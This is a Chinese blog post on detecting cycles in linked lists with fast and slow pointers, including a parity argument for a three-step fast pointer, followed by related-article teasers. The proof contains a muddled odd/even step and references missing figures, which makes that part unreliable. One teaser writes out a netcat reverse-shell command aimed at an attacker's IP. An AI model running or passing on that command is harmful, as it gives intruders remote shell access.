链表----带环链表快慢指针进阶版

1.带环链表及其拓展

(1)这个题目组要就是进行判断这个链表是否带环,使用的是布尔类型作为返回值;

(2)我们这里的思路是使用的快慢指针,快指针一次走2步,慢指针一次走1步,如果这个过程中两个指针会相遇,那么我们就可以说明这个链表是带环的,否则就是不带环的;

(3)可能有些同学就会问,难道这个过程他们两个快慢指针就一定会相遇吗?这个当在快指针一次走两步的情况下,这个是一定会相遇的,为什么这么说呢?因为当慢指针进行环之后,每次快指针都会比慢指针多走一步,假设慢指针进入环的时候,两者之间的距离是L,每走一步,两者之间的距离就会减少一个单位长度,这个样的话,他们两个指针迟早是会相遇的;

(4)这个题目本身可能并不是非常难,但是在这个题目的基础之上,面试官还会更加深入的进行提问:这个我们设计的快指针是一次走两个单位,如果一次走3个,一次走4个单位长度,又会是什么样的结果呢?

我们使用的判断依据就是一个快指针,一个慢指针,快指针先进入环(在有环的前提下面),慢指针后进入环,这个过程中快慢指针就会进行追击,是否一定可以追上呢?这个有何哪些因素相关呢?实际上这个和环上面的元素的个数以及初始情况下快慢指针的相差的个数有关;

(5)下面我们讨论一下当fast一次走3个单位长度的时候,会不会相遇,在什么情况下相遇?

上面的就是一个基本的情况,我们的慢指针进入环的时候,快指针就已经在环里面走过很长的一段距离了,这个时候我们假设快指针和慢指针之间的距离是n,因为在这个情况线面我们的快指针是一次走3步,慢指针一次走1步,这个时候,我们的快指针每次都会比慢指针多走2步,每次都是两步两步的进行追击,我们在这个情况下面能不能追上就和n的救星有关了;

因为如果这个n是偶数,每次快指针都比慢指针多走两步,那么最后一定是可以追上的,但是如果n是奇数,每次减少2个单位长度,最后就是相差的5,3,1相差到1个单位长度的时候,我们的快指针已经马上可以追上慢指针了,但是因为快指针每次都会比慢指针多走2步,这个时候就会错过,出现的结果就是快指针跑到了慢指针的前面,之后他们的差距就会增加,展开新一轮的追击;

到这个时候,你千万不要以为两个错过之后就结束了,就再也不会相遇了,因为这个时候快指针还是走得快,这个一段时间之后他们两个还是会相遇的,这个情况我们还是要继续进行分析的;

这个时候我们定义一个新的变量就是C,这个C代表的就是环上面的元素的个数,或者说是节点的个数,因为当快指针还差一个单位长度追上慢指针的时候,就会出现快指针一次比慢指针走2步,从而实现超越,这个时候两者之间相差的元素的个数就是n-1了,这个时候展开新一轮的追击,每次快指针还是比慢指针多走两步,当这个n-1是偶数,也就是说n是奇数的时候,两步两步的进行追击,最后是可以追上的,但是当n-1还是奇数的时候,就会出现又会错过的情况,这个时候之后就永远都不会追上了(因为最后的时候还是马上就要追上的时候实现超越,两者之间还是相差n-1个元素);

(6)针对上面的分析,我们进行总结一下:当快指针一次走3步的时候,就会因为两个之间相差的元素的个数出现不同的情况,

一种就是n是偶数,这样的话两步两步的追最后就可以追上了;

但是当n是奇数的时候,我们就要重新对于情况进行划分:我们重新定义c作为这个环上面的元素的个数,当c-1是偶数的时候,第二轮可以追上的,但是当c-1是奇数的时候,最后就永远追不上了;

总的来讲:n是奇数,c是偶数的时候,就会永远追不上;

(7)当快指针一次走4步,我们快指针每次都比慢指针多走3个单位长度,我们就要判断这个之间的元素n的情况,我们这个时候就不是按照奇偶性进行讨论,而是看这个n和3之间的关系,从而进行对应的判断,这里只会更加复杂,但是分析的方法同上,这里不再赘述,感兴趣的小伙伴可自行进行讨论;

(8)永远追不上的条件分析:我们以快指针一次走3步作为例子,我们通过这个快指针的路程是慢指针的3被作为等量关系列式

上面的就是我们进行分析的过程:n还是慢指针进环的时候,快慢指针之间相差的元素个数,L指的是进环之前的路程,我们分别表示出来开始到慢指针进环快慢指针走过的路程,利用之间的3被作为等量关系列示求解;

上面我们是以慢指针进环的时候两者之间的3被关系作为关系的,实际上这个过程中快指针始终是慢指针的3被,我们只是选取了慢指针进入环的这个时刻进行分析罢了;

慢指针走的路程就是L,我们假设fast在慢指针进入环之前就已经走了x圈,这个时候我们表示出来快指针走过的路程,利用3倍关系进行计算,最后的出来这个等式2*L=(x+1)*C-n;

我们上面就已经讨论过,n是奇数,C是偶数的时候永远不会相遇,我们带入就可以发现,2*L肯定是奇数,因为C是奇数(x+1)*C肯定是偶数,偶数-n是偶数,当n是奇数的时候这个等式肯定是不成立的,所以我们发现,我们上面讨论的那个永远不会相遇的情况是不满足这个等式的。

(9)这个时候,你还清醒吗?就是我们通过理论的分析,发现当n是奇数,c是偶数的时候,就会永远错过;

但是我们的快慢指针走的路程满足3倍关系,我们推理出来一个等式,我们的n奇数,c偶数根本不会满足这个等式,就说明我们的n奇数c偶数根本就不存在,因此这个当快指针一次走3个单位长度的时候,不会出现永远错过的情况,一定会相遇,这个就是我们通过上面的严谨的证明过程想要得出的结论。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/12339.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

思维导图软件哪个好?5个软件教你自己快速制作思维导图

思维导图软件哪个好?5个软件教你自己快速制作思维导图 思维导图软件在现代生活和工作中扮演着重要的角色,它们可以帮助人们整理思维、规划项目、记录笔记等。以下是五款值得推荐的思维导图软件,它们各有特色,可以帮助您快速制作思…

嵌入式Linux:编译和使用Protobuf库

目录 1、开发环境和工具 2、安装和编译Protobuf、Protobuf-C库 3、编写和编译proto文件 4、修改makefile文件 5、测试示例 6、参考资料 Protobuf(Protocol Buffers)是由 Google 开发的一种轻量级、高效的结构化数据序列化方式,用于在不同应用…

Charger之三动态电源路径管理(DPPM)

-----本文简介----- 主要内容包括: 领资料:点下方↓名片关注回复:粉丝群 硬件之路学习笔记公众号 Charger的动态电源路径管理(DPPM) 前篇内容:①电池管理IC(Charger)了解一下&…

基于java 自定义注解Annotation设计简单ORM框架——进阶篇

目录 引言实例新建两个注解标注实体类拼接sql语句 总结 引言 一般Java规范编程(只是一种习惯,而不是强制)中,变量的命名方式一般采用驼峰式命名。比如userName,userImage。但是在数据库中一般不会采用驼峰式&#xff…

AIGC、LLM 加持下的地图特征笔记内容生产系统架构设计

文章目录 背景构建自动化内容生产平台系统架构设计架构详细设计流程介绍笔记来源笔记抓取干预 笔记 AIGC 赋能笔记 Rule 改写笔记特征库构建 附录Bash Cron 定时任务Golang 与 Pyhon AIGC 实践 小结 背景 在大模型的浪潮下,ChatGPT、Sora、Gemini、文言一心 等新技…

[MRCTF2020]PixelShooter

是个安卓游戏题 re手肯定不会去玩游戏,先jadx分析一波 没有什么关键信息,但找到了一个unity类,想到apk也可以解压缩得到 .so 或者 Assembly-CSharp.dll 故又在dnspy分析一下 看了半天没有和flag有关信息,看wp: Asse…

用面向对象的思想编写实时嵌入式C程序

实时嵌入式系统的软件一般由C语言编写,程序结构基本上都是这样的: // 主程序 int main(void) {init(); // 初始化while(1){tick(); // 业务逻辑}return 0; }// 计时器 static unsigned int g_timer_tick_cnt 0; // 时钟中断回调 void isr_time…

【工作篇】软件工程师的知识基础(持续更新)

目录 1. linux 知识篇 1. linux 知识篇 1. Linux API 是什么 Linux API 是指 Linux 操作系统 提供的应用程序接口,用于与操作系统进行交互。它包含了一系列的函数、系统调用、库函数和数据结构,用于实现各种系统级的操作,如文件操作、进程…

HTML常用标签-布局相关标签

布局标签 div标签 俗称"块",主要用于划分页面结构,做页面布局 自己独占一行的元素&#xff0c;设置宽高生效 span标签 俗称"层",主要用于划分元素范围,配合CSS做页面元素样式的修饰 不会自己独占一行的元素&#xff0c;设置宽高不生效 代码 <div style&…

海南省薪鑫网络科技有限公司:引领智能剪辑纪元!

在数字化浪潮的激荡下&#xff0c;海南省薪鑫网络科技有限公司凭借其尖端技术实力&#xff0c;正引领着内容创作行业迈向一个崭新的智能剪辑纪元。这一划时代的变革&#xff0c;源于公司精心打造的AI剪辑软件&#xff0c;它不仅为剪辑工作赋予了新的高度&#xff0c;也为广大创…

RK3566(泰山派):3.1寸屏幕D310T9362V1SPEC触摸驱动(竖屏)

RK3566&#xff08;泰山派&#xff09;&#xff1a;3.1寸屏幕D310T9362V1SPEC触摸驱动&#xff08;竖屏&#xff09; 文章目录 RK3566&#xff08;泰山派&#xff09;&#xff1a;3.1寸屏幕D310T9362V1SPEC触摸驱动&#xff08;竖屏&#xff09;电路配置i2c1设备树创建驱动编写…

算法分析与设计复习__渐近+复杂度

算法v.s.程序: 程序 数据结构 算法&#xff1b; 1.时空复杂度T(n)/O(n)&#xff08;衡量一个算法的优劣&#xff09; 1.1最坏/最好/平均(所有输入等概出现)时间复杂度; 1.1.1 E.g.手算某算法&#xff08;冒泡排序&#xff09;程序段的T,O; 1.2算法的渐近表示&#xff1b; …

智慧安防系统:构建更安全的社区环境

随着科技的不断进步&#xff0c;人们的生活质量得到了显著提高。然而&#xff0c;与此同时&#xff0c;社会治安问题也日益凸显。为了维护社会的和谐稳定&#xff0c;提高人们的生活安全感&#xff0c;智慧安防系统应运而生。本文将为您详细介绍智慧安防系统的项目背景、需求分…

暗黑4可以搬砖吗?暗黑4怎么搬砖 搬砖攻略

暗黑4可以搬砖吗&#xff1f;暗黑4怎么搬砖 搬砖攻略 暗黑破坏神4属于是暴雪旗下一款经典游戏IP&#xff0c;在全世界有着广泛的玩家群体&#xff0c;更是在今年暴雪国服宣布回归之后&#xff0c;吸引了一大批新玩家加入。今天小编就为大家带来暗黑4的详细搬砖教程。 现在我们…

netcat工具无法使用 -e 参数

当在linux中使用netcat进行反向连接时&#xff0c; nc -e /bin/sh 攻击者的IP 端口 有时会报这种错误&#xff1a; 这说明此netcat不支持 -e 参数。 此时可以做如下更改&#xff1a; 使用mkfifo或mknod命令创建一个命名管道&#xff0c;然后使用cat命令读取管道中的内容&…

【多模态】30、Monkey | 支持大尺寸图像输入的多任务多模态大模型

文章目录 一、背景二、方法2.1 Enhancing Input Resolution2.2 Multi-level Description Generation2.3 Multi-task Training 三、效果3.1 Image Caption3.2 General VQA3.3 Scene Text-centric VQA3.4 Document-oriented VQA3.5 消融实验3.6 可视化 论文&#xff1a;Monkey : …

数据结构与算法-排序算法2-选择排序

目录 1.选择排序&#xff1a; 1.介绍&#xff1a; 2.动态图解 3.举例 4.小结选择排序规则 5.选择排序代码 6.运行时间 代码&#xff1a; 运行结果&#xff1a; 1.排序算法简介 排序也称为排序算法。排序是将一组数据依据指定的顺序进行排列的过程。 2.常见的排序算法…

国内好用的测试用例管理工具有哪些?

目前市面上的测试用例管理工具有很多&#xff0c;但由于针对的项目、领域、目标用户&#xff0c;功能也并不一致&#xff0c;所以选择一款适合的测试管理平台并不轻松。做好这件事&#xff0c;首先要需求明确你用测试管理工具干什么&#xff1f;最终想要达到什么目标&#xff1…

vue2人力资源项目8员工详情

页面结构 <template><div class"dashboard-container"><div class"app-container"><div class"edit-form"><el-form ref"userForm" label-width"220px"><!-- 姓名 部门 --><el-row…

【科研】常用的实验结果评价指标(2) —— MAE 是什么? !

了解MAE 提示&#xff1a;先说概念&#xff0c;后续再陆续上代码 文章目录 了解MAE前言一、MAE 基本概念1. MAE 是什么&#xff1f;2. MAE 的起源3. MAE 的计算公式 二、MAE的适用场景是什么&#xff1f;三、MAE 的劣势&#xff0c;或 不适用于那些场景或者数据&#xff1f;四、…